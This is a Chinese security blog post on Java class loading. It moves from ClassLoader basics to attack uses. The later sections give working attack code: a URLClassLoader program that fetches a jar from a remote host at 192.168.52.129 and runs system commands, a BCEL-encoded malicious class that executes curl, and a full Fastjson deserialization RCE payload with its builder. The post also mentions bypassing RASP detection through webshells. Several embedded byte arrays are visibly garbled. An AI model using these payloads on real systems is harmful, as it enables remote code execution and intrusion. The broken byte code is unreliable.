Java类加载学习
2022-12-29 11:23:54 Author: 瑞不可当(查看原文) 阅读量:11 收藏

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader就是类加载器,对于某些框架开发者非常常见。ClassLoader的具体作用就是将class文件加载到JVM虚拟机中去,程序就可以正常运行了。在ClassLoader加载class文件时,ClassLoader会调用JVM的native方法(dedineClass0/1/2)来定义一个java.lang.Class实例。当然jvm在启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载以此来防止内存奔溃。

JVM架构图  

Class文件的认识

Java是编译型语言,我们编写的java文件需要编译成class文件后才能够被JVM运行,我们平常用文本编辑器或者IDE编写的程序都是.java格式的文件,这是最基本的源码,但这类文件是不能直接运行的。如下我们编写一个简单的程序。

示例TestSayHello.java:  

package com.testclassloader;

public class TestSayHello {
    public String sayHello(){
        return "com.testclassloader Say Hello";
    }
}

使用javac命令编译TestSayHello.java 将java源码编译成字节码文件,再通过JDK自带的javap命令反汇编TestSayHello.class文件对应的com.testclassloader.TestSayHello类,以及使用Linux自带的hexdump命令查看TestSayHello.class文件的二进制内容:

JVM在执行TestSayHello之前会解析class二进制内容,JVM执行的内容其实就是如上javap命令生成的字节码文件。

ClassLoader

一切的Java类都必须经过JVM加载之后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器),Extension ClassLoader(扩展类加载器), App ClassLoader(系统类加载器) ,App ClassLoader是默认的类加载器,如果类加载时我们没有指定类加载器的情况下,默认使用的是App ClassLoader加载器,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。

ClassLoader类的核心方法:  

  1. loadClass(加载指定的Java类)

  2. findClass(查找指定的Java类)

  3. findLoadClass(查找JVM已经加载过的类)

  4. defineClass(定义一个Java类)

  5. resolveClass(链接指定的Java类)  

类加载器分类

  • 引导类加载器(BootstrapClassLoader)

    引导类加载器(BootstrapClassLoader),底层原生代码是C++语言编写,属于JVM的一部分,不继承java.lang.ClassLoader类,也没有父类加载器,主要负责加载核心java库(即JVM本身),存储在/jre/lib/rt.jar目录当中。(同时出于安全考虑,BootstrapClassLoader只加载包名为java、javax、sun等开头的类)。

  • 扩展类加载器(ExtensionsClassLoader)

    扩展类加载器(ExtensionsClassLoader),由sun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库。Java虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载Java类。

  • App类加载器/系统类加载器(AppClassLoader)

    App类加载器/系统类加载器(AppClassLoader),由sun.misc.Launcher&AppClassLoader实现,一般通过(java.class.path或者Classpath环境变量)来加载类,也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类,可以使用ClassLoader.getSystemClassLoader()来获取它。

  • 自定义类加载器(UserDefineClassLoader)

    自定义类加载器(UserDefineClassLoader),除了上述Java自带提供的类加载器,我们还可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。

Java类加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用的Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或者new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:  

  1. 命令行启动应用时候由JVM初始化加载

  2. 通过Class.forName()方法动态加载

  3. 通过ClassLoader.loadClass()方法动态加载

//反射加载TestSayHello示例

Class.forName("com.testclassloader.TestSayHello");

//ClassLoader加载TestSayHello示例

this.getClass().getClassLoader.loadClass("com.testclassloader.TestSayHello");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望被初始化类可以使用

Class.forName("类名",是否初始化类,类加载器),而ClassLoader.loadClass默认不会初始化类方法。

ClassLoader类加载流程

这里我们通过来加载之前写的TestSayHello来学习ClassLoader。

ClassLoader加载com.testclassloader.TestSayHello类的重要流程如下:

  1. ClassLoader会调用public  Class  loadClass(String name) 方法加载com.testclassloader.TestSayHello类。

  2. 调用findLoadeClass 方法检查TestSayHello类是否已经初始化,如果JVM已初始化该类则直接返回类对象。

  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestSayHello类,否则使用JVM的Bootstrap ClassLoader加载。

  4. 如果上一步无法加载TestSayHello类,那么调用自身的findClass 方法尝试加载TestSayHello类。

  5. 如果当前的ClassLoader没有重写findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的 com.testclassloader.TestSayHello 类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。

  6. 如果调用loadClass的时候传入的 resolve 参数为true,那么还需要调用 resolveClass 方法链接类,默认为false

  7. 返回一个被JVM加载后的 java.lang.Class类对象。

自定义ClassLoader

java.lang.classLoader是所有的类加载器的父类,下面通过继承java.lang.ClassLoader类的方式自定义了一个类加载器来实现加载自定义的字节码(这里以加载上述com.testclassloader.TestSayHello类为例)并调用该类的sayHello方法。

1.通过如下代码获取com.testclassloader.TestSayHello类的字节码文件并转成byte数组。

package com.testclassloader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
public class ClassByteCode {
   public static byte[] getClassByteCode(String className) {
       String jarname = "/" + className.replace('.''/') + ".class";
       InputStream is = ClassByteCode.class.getResourceAsStream(jarname);
       ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
       int ch;
       byte imgdata[] = null;
       try {
           while ((ch = is.read()) != -1) {
               bytestream.write(ch);
           }
           imgdata = bytestream.toByteArray();
       } catch (IOException e) {
           e.printStackTrace();
       } finally {
           try {
               bytestream.close();
           } catch (IOException e) {
               e.printStackTrace();
           }
       }
       return imgdata;
   }
   public static void main(String[] args) {
       System.out.println("Bytecode " + Arrays.toString(getClassByteCode("com/testclassloader/TestSayHello")));
   }
}

2.修改自定义类加载器TestClassLoader中需要加载的类字节码为上一步代码输出结果,完成如下自定义类加载器代码。

package com.testclassloader;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {

   // TestSayHello类名
   private static String testClassName = "com.testclassloader.TestSayHello";

   // TestSayHello类字节码
   private static byte[] testClassBytes = new byte[]{
           -54, -2, -70, -660005802010020370412050610161069711897,
           471089711010347799810610199116106601051101051166210340,
           418680810299911110946116101115116991089711511510811197100,
           1011143283971213272101108108111701010329911110947116101115,
           1169910897115115108111971001011144784101115116839712172101108,
           108111104671111001011015761051101017811710998101114849798,
           10810110187611199971088697114105979810810184979810810110,
           411610410511510347699111109471161011151169910897115115108111,
           9710010111447841011151168397121721011081081115910811597121,
           721011081081111020404176106971189747108971101034783116114,
           105110103591010831111171149910170105108101101784101115116,
           83971217210110810811146106971189703309020000020105,
           0601011000470101000542, -7301, -7900020120006,
           01000301300012010005014015000101601701011,
           0004501010003187, -80000201200060100050130,
           001201000301401500010180002019
   };

   @Override
   public Class<?> findClass(String name) throws ClassNotFoundException {
       // 只处理TestSayHello类
       if (name.equals(testClassName)) {
           // 调用JVM的native方法定义TestSayHello类
           return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
       }
       return super.findClass(name);
   }

   public static void main(String[] args) {
       // 创建自定义的类加载器
       TestClassLoader loader = new TestClassLoader();
       try {
           // 使用自定义的类加载器加载TestSayHello类
           Class testClass = loader.loadClass(testClassName);
           // 反射创建TestSayHello类,等价于 TestSayHello t = new TestSayHello();
           Object testInstance = testClass.newInstance();
           // 反射获取sayHello方法
           Method method = testInstance.getClass().getMethod("sayHello");
           // 反射调用sayHello方法,等价于 String str = t.sayHello();
           String str = (String) method.invoke(testInstance);
           System.out.println(str);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
}


如果com.testclassloader.TestSayHello类存在的情况下,我们可以使用如下方法实现调用sayHello方法并输出:

TestSayHello t = new TestSayHello();

String str = t.sayHello();

System.out.println(str);

如果com.testclassloader.TestSayHello不存在于我们的classpath,那么我们就可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestSayHello类的字节码的方式来向JVM中定义一个TestSayHello类,最后通过反射机制就可以调用TestSayHello类的sayHello方法了。

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码。

URLClassLoader

URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用,具有较高的隐蔽性。

如下代码,通过http协议远程加载一个jar文件。

package com.testclassloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("http://192.168.52.129:1111/CMD.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "whoami";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

远程的CMD.jar中就一个CMD.class文件,对应的编译前的代码如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

执行结果如下:

BCEL ClassLoader

BCEL是一个用于分析、创建和操纵Java类文件的工具库,BCEL的类名加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。

BCEL攻击原理  

当BCEL的类名加载器在加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

示例代码:

package com.testclassloader;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;

public class BCELClassLoader {

    private static final byte[] CLASS_BYTES = new byte[]{
            -54, -2, -70, -660005804110020370412050610161069711897,
            47108971101034779981061019911610660105110105116621034041,
            868081020991171141083210811199971081041111151165849494949,
            47100100117012120130141017106971189747108971101034782,
            11711011610510910110101031011168211711011610510910110214041,
            76106971189747108971101034782117110116105109101591001001612,
            0170181041011201019910394076106971189747108971101034783,
            11611410511010359417610697118974710897110103478011411199101,
            11511559702010191069711897471051114773796912099101112116,
            1051111101001902212023061015112114105110116831169799107,
            8411497991017025102899111109471161011151169910897115115108,
            111971001011144784101115116691201019910467111100101101576,
            105110101781171099810111484979810810110187611199971088697,
            114105979810810184979810810110411610410511510307699111109,
            47116101115116991089711511510811197100101114478410111511669120,
            1019959108609910810511010511662101101102176106971189747,
            1051114773796912099101112116105111110591079911110910997110,
            100101876106971189747108971101034783116114105110103591013,
            83116979910777971128497981081017038101610697118974710897,
            110103478311611410511010310108311111711499101701051081011013,
            841011151166912010199461069711897033024020000020105,
            0601026000470101000542, -7301, -7900020270006,
            0100050280001201000502903000080310601026,
            00012402020002018775, -720942, -7401587, -89087643, -740,
            21, -7901030110140190302700026060008030100110,
            13014011015012019014028000220201504032033010,
            3016034035000360001802, -1014017037017019, -604,
            010390002040
    };

    public static void bcelTest() throws Exception {
        // 创建BCEL类加载器
        ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();

        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

        System.out.println(className);

        Class<?> clazz = Class.forName(className, true, classLoader);

        System.out.println(clazz);
    }

    public static void main(String[] args) throws Exception {
        bcelTest();
    }

}

编译前的恶意代码如下:

package com.testclassloader;

import java.io.IOException;

public class TestExec {

    static {
        String command = "curl localhost:1111/";
        try {
            Runtime.getRuntime().exec(command);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

运行结果:

BCEL FastJson攻击链分析  

Fastjson(1.1.15-1.2.4)反序列化中有个Payload就是利用率BCEL攻击链,利用代码如下:

{"@type":"org.apache.commons.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMo$d3$40$Q$7d$h$bb$b1q$9d$3aM$d2$WJi$cbwR$q$y$aeM$c5$F$V$Ja$u$oQ9o6$abt$8b$e3$8d$ec$N$ea$81$ff$c3$b9$97R$f5$c0$P$e0$tq$80$ce$ba$a1$U$V$b1$92gv$c6o$de$be$9d$9d$ef$3f$cf$be$B$d8F$t$40$F$8e$H7$c4$i$aa$M$f5C$fe$89$c7$v$cfF$f1$de$e0P$K$c3P$ddQ$992$cf$Z$9cvg$df$87$cf$d0$S$d3$3c$ddL$b5$e0$e9$81$$$cc$f63Zq$80$A$f3$k$c2$Q5$y0$y$fe$nz$3f$cd$8c$gK$86$60$q$cde$b0$d4$ee$q$d70$5d$cbR$P$b1$88$G$83$x$8f$a4$60x$dc$be$82$eb$99$5ce$a3$ee$d5$d2w$b9$W$b2$u$ba$kZ$M$cd2$aft$fcjo$f7H$c8$89Q$3a$L$d0$c4r$88$V$7b$bfhB$f5$a6g$b8$f8$d8$cf$b9$90$kn1$ac$J$3d$8e$8d$y$8cHyQ$a4$9a$Pe$k$f7$v$de$z$F$b8$$f4$90$EG$89$ca$e4$db$e9x$m$f3$3e$l$a4$94i$q$b6$F$fb$3cW6$9e$r$5ds$a0$K$86$f5$e4$7f$a4$5d$G$7fG$a4$b3$c62$db$8e$e4$l$ca$J$e6$R$cd$98gC$7b$da$b560$d4$ca$ab$bc$e1$93$f2t$P$8f$fez$c2$L$Y5$be$a7$a7$b9$90$$95$VX$fb$z$e2$a9$F$e2$$n$d2$I$d8U$B$b3C$40v$95$a2$98$3c$p$3f$b7$f5$V$ec$b8$fc$7d$9bl$f5$o$895$b2$e1l$7f$H$eb$e4$7dl$5c$W$7f$s$b4$rm5$bc$d7$a7$b8$b1u$82$e8$c3$X$f8$c9$93$T$y$j$T$c6$c1$3c$W$e8Y$9c$92s$95$eal$bdcG$c8$8e$P$d9$88$d8$9b$b4$b3$e7$y$TW$E$X$9b$q$d6$d6$d6q$P$f7$v$ff$80$be$G$w$bf$I$c6$3c$3c$b4$a6$f9$83p43$a5$de$f69$c9j$d6$d9$e7$C$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

FastJson自动调用setter方法修改org.apache.commons.dbcp2.BasicDataSource类的driverClassName和driverClassLoader值,driverClassName是经过BCEL编码后的com.testclassloader.TestExec类字节码(这里攻击类依旧采用上述的命令执行的java类),driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp2.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,因此FastJson最终还是调用了getConnection()方法。

当getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图:

示例代码:

这里直接采用Map直接构建基于fastjson的BCEL攻击链

package com.testclassloader;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.classfile.Utility;
import org.apache.commons.dbcp2.BasicDataSource;

import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;

public class BCELClassLoaderFastjson {
    private static final byte[] CLASS_BYTES = new byte[]{
            -54, -2, -70, -660005804110020370412050610161069711897,
            47108971101034779981061019911610660105110105116621034041,
            868081020991171141083210811199971081041111151165849494949,
            47100100117012120130141017106971189747108971101034782,
            11711011610510910110101031011168211711011610510910110214041,
            76106971189747108971101034782117110116105109101591001001612,
            0170181041011201019910394076106971189747108971101034783,
            11611410511010359417610697118974710897110103478011411199101,
            11511559702010191069711897471051114773796912099101112116,
            1051111101001902212023061015112114105110116831169799107,
            8411497991017025102899111109471161011151169910897115115108,
            111971001011144784101115116691201019910467111100101101576,
            105110101781171099810111484979810810110187611199971088697114,
            10597981081018497981081011041161041051151030769911110947,
            116101115116991089711511510811197100101114478410111511669120101,
            9959108609910810511010511662101101102176106971189747105,
            11147737969120991011121161051111105910799111109109971101001,
            0187610697118974710897110103478311611410511010359101383116,
            979910777971128497981081017038101610697118974710897110103,
            47831161141051101031010831111171149910170105108101101384101,
            1151166912010199461069711897033024020000020105060,
            1026000470101000542, -7301, -7900020270006010,
            0050280001201000502903000080310601026000,
            12402020002018775, -720942, -7401587, -89087643, -74021, -79,
            01030110140190302700026060008030100110130,
            1401101501201901402800022020150403203301030,
            16034035000360001802, -1014017037017019, -60401,
            0390002040
    };
    public static void fastjsonRCE() throws IOException {
        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

        // 构建恶意的JSON
        Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
        Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();

        dataMap.put("@type", BasicDataSource.class.getName());
        dataMap.put("driverClassName", className);

        classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
        dataMap.put("driverClassLoader", classLoaderMap);

        String json = JSON.toJSONString(dataMap);
        System.out.println(json);

        JSONObject jsonObject = JSON.parseObject(json);
    }

    public static void main(String[] args) throws Exception {
        fastjsonRCE();
    }

}

恶意代码依旧使用之前的com.testclassloader.TestExec类。

运行结果如下:

ClassLoader总结

ClassLoader是JVM中一个非常重要的组成部分,ClassLoader可以为我们加载任意的java类,通过自定义ClassLoader更能够实现自定义类加载行为。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODI1NjMyNQ==&mid=2247484273&idx=1&sn=eaa13b1eeb8596b94c36146dbae29720&chksm=c283b1dbf5f438cd0ffa32b64ca5b6d96b02a42e9faa0d708d230531c05966ad5c526626c37b#rd
如有侵权请联系:admin#unsafe.sh